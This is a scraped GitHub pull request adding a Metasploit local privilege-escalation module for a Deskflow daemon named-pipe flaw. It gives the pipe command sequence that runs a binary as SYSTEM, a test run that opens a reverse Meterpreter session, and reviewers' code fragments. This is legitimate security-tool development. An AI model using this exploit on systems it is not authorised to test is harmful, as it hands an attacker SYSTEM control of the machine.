Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE by blue0x1 · Pull Request #21363 · rapid7/metasploit-framework

blue0x1 · 2026-04-23T05:15:59Z

Summary

This module exploits CVE-2026-41477, an unauthenticated IPC vulnerability in the Deskflow daemon (formerly Synergy). The daemon runs as NT AUTHORITY\SYSTEM and exposes
\\.\pipe\deskflow-daemon with a world-accessible DACL. Any local unprivileged user can connect and send command=<path>, elevate=yes, and start to execute an arbitrary binary as
SYSTEM without authentication.

Affected versions:

Deskflow stable v1.20.0
Deskflow continuous build v1.26.0.134

Changes

Named pipe communication implemented entirely via Railgun (kernel32.CreateFileW, WriteFile, CloseHandle) — no PowerShell or cmd_exec usage
Temp path resolved with session.fs.file.expand_path
SessionTypes restricted to meterpreter (required for Railgun)
Documentation added with verified scenario output

Verification

Tested on Windows 10 22H2 x64 with Deskflow v1.26.0.134:

[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run
[] Started reverse TCP handler on 172.16.126.1:4444
[] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe...
[] Triggering escalation via deskflow-daemon named pipe...
[] Waiting 45s for SYSTEM session...
[] Sending stage (230982 bytes) to 172.16.126.135
[+] SYSTEM session 12 opened
[] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370)

(Meterpreter 12)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM

References

CVE-2026-41477
GHSA-6rx5-g478-775c

…entation cop

…un APIs, add documentation - Replace all cmd_exec/PowerShell wrappers with kernel32 Railgun calls (CreateFileW, WriteFile, CloseHandle) for named pipe communication - Use session.fs.file.expand_path instead of PowerShell ExpandEnvironmentVariables - Remove WMI launcher and intermediate PS1 scripts entirely - Restrict SessionTypes to meterpreter (required for Railgun) - Add documentation with verified scenario output

bwatters-r7 · 2026-04-23T20:55:41Z

I'm leaving this in case someone else comes along thinking it can be cleaned up like I did at first:

3.3.8 :001 > h = 0xFFFFFFFF => 4294967295 3.3.8 :002 > h.to_i => 4294967295 3.3.8 :003 > i = 0xFFFFFFFFFFFFFFFF => 18446744073709551615

bwatters-r7 · 2026-04-23T21:00:24Z

Suggested change

include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

bwatters-r7 · 2026-04-23T21:00:58Z

This appears to just run check again?
Adding prepend Msf::Exploit::Remote::AutoCheck below the includes will run the check unless the user definitively opts out.

bwatters-r7 · 2026-04-23T21:02:22Z

Is this required? Would it not be simpler to increase the wfs_delay?

bwatters-r7 · 2026-04-23T21:04:02Z

Normally we place things like this at the top of the module as literals and call .freeze on them. Is there a reason to make them private?

bwatters-r7 · 2026-04-23T21:07:05Z

May be worth checking the return values, here.

I also would not argue against this loop being in a try/catch block with an ensure handle close.

bwatters-r7 · 2026-04-23T21:10:52Z

Also, per the linting test failures:

== modules/exploits/windows/local/deskflow_ipc_lpe.rb ==
C: 26:  9: [Correctable] Layout/ModuleDescriptionIndentation: Module descriptions should be properly aligned to the 'Description' key, and within %q{ ... }
W: 67:  9: [Correctable] Lint/AssignmentInCondition: Use == if you meant to do a comparison or wrap the expression in parentheses to indicate you meant to assign in a condition.

1 file inspected, 2 offenses detected, 2 offenses autocorrectable
modules/exploits/windows/local/deskflow_ipc_lpe.rb - [ERROR] Rubocop failed. Please run rubocop -a modules/exploits/windows/local/deskflow_ipc_lpe.rb and verify all issues are resolved

Copilot

Pull request overview

Adds a new Metasploit local privilege escalation module and accompanying documentation for exploiting an unauthenticated Deskflow daemon named-pipe IPC interface that can execute arbitrary binaries as NT AUTHORITY\SYSTEM.

Changes:

Introduces windows/local/deskflow_ipc_lpe exploit module using Railgun-only named pipe I/O to trigger the IPC command sequence.
Drops and executes a generated EXE payload via \\.\pipe\deskflow-daemon, with a configurable wait timeout for the elevated session.
Adds user-facing module documentation with verification steps and an example scenario.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.

File	Description
modules/exploits/windows/local/deskflow_ipc_lpe.rb	Implements the Deskflow named pipe LPE exploit flow (pipe open/write, payload drop, session wait).
documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md	Documents vulnerable versions, usage steps, options, and a validated example run.

Copilot · 2026-04-23T21:12:53Z

+          ['CVE', '2026-41477'],
+          ['GHSA', 'GHSA-6rx5-g478-775c']
+        ],
+        'Platform' => 'win',


Module metadata leaves Privileged at the default false, but this exploit is intended to execute the payload as NT AUTHORITY\\SYSTEM. Set 'Privileged' => true in the module info so module filtering/UX correctly reflects that it yields elevated privileges.

Suggested change

'Platform' => 'win',

'Platform' => 'win',

'Privileged' => true,

Copilot · 2026-04-23T21:12:53Z

+  def pipe_write(handle, msg)
+    session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil)
+  end


pipe_write ignores the WriteFile result. If the write fails (e.g., broken pipe / access denied), the module will continue as if it succeeded and then just time out. Check the return value (and GetLastError/ErrorMessage) and fail early with a clear error; also consider closing the handle via ensure if you raise from inside the write loop.

I'd think that the value would be implicitly returned? I guess I'm not sure if we get back an error or not from the railgun call?

Copilot · 2026-04-23T21:12:53Z

+    Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline
+
+    new_session_id = (framework.sessions.keys - initial_sessions).first
+    print_good("SYSTEM session #{new_session_id} opened") if new_session_id


If no new session is created before WaitTimeout expires, the module currently exits without indicating failure. Consider failing with a timeout error (or at least printing an error) when new_session_id is nil so operators can distinguish a real timeout from a successful run.

Suggested change

print_good("SYSTEM session #{new_session_id} opened") if new_session_id

fail_with(Failure::TimeoutExpired, "No SYSTEM session was created within #{datastore['WaitTimeout']} seconds") unless new_session_id

print_good("SYSTEM session #{new_session_id} opened")

katana added 4 commits April 21, 2026 15:14

Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE

8a3a130

Fix: use single backslash in description to pass ModuleDescriptionInd…

0df9472

…entation cop

Fix: add WMI launcher and stop sequence to prevent daemon session spam

68dce36

smcintyre-r7 added this to Metasploit Kanban Apr 23, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Apr 23, 2026

smcintyre-r7 added module rn-modules release notes for new or majorly enhanced modules labels Apr 23, 2026

bwatters-r7 reviewed Apr 23, 2026

View reviewed changes

bwatters-r7 requested a review from Copilot April 23, 2026 21:08

bwatters-r7 self-assigned this Apr 23, 2026

Copilot AI reviewed Apr 23, 2026

View reviewed changes


	include Msf::Exploit::FileDropper
	prepend Msf::Exploit::Remote::AutoCheck

	'Platform' => 'win',
	'Platform' => 'win',
	'Privileged' => true,

Conversation

blue0x1 commented Apr 23, 2026

Summary

Changes

Verification

References

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 commented Apr 23, 2026

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants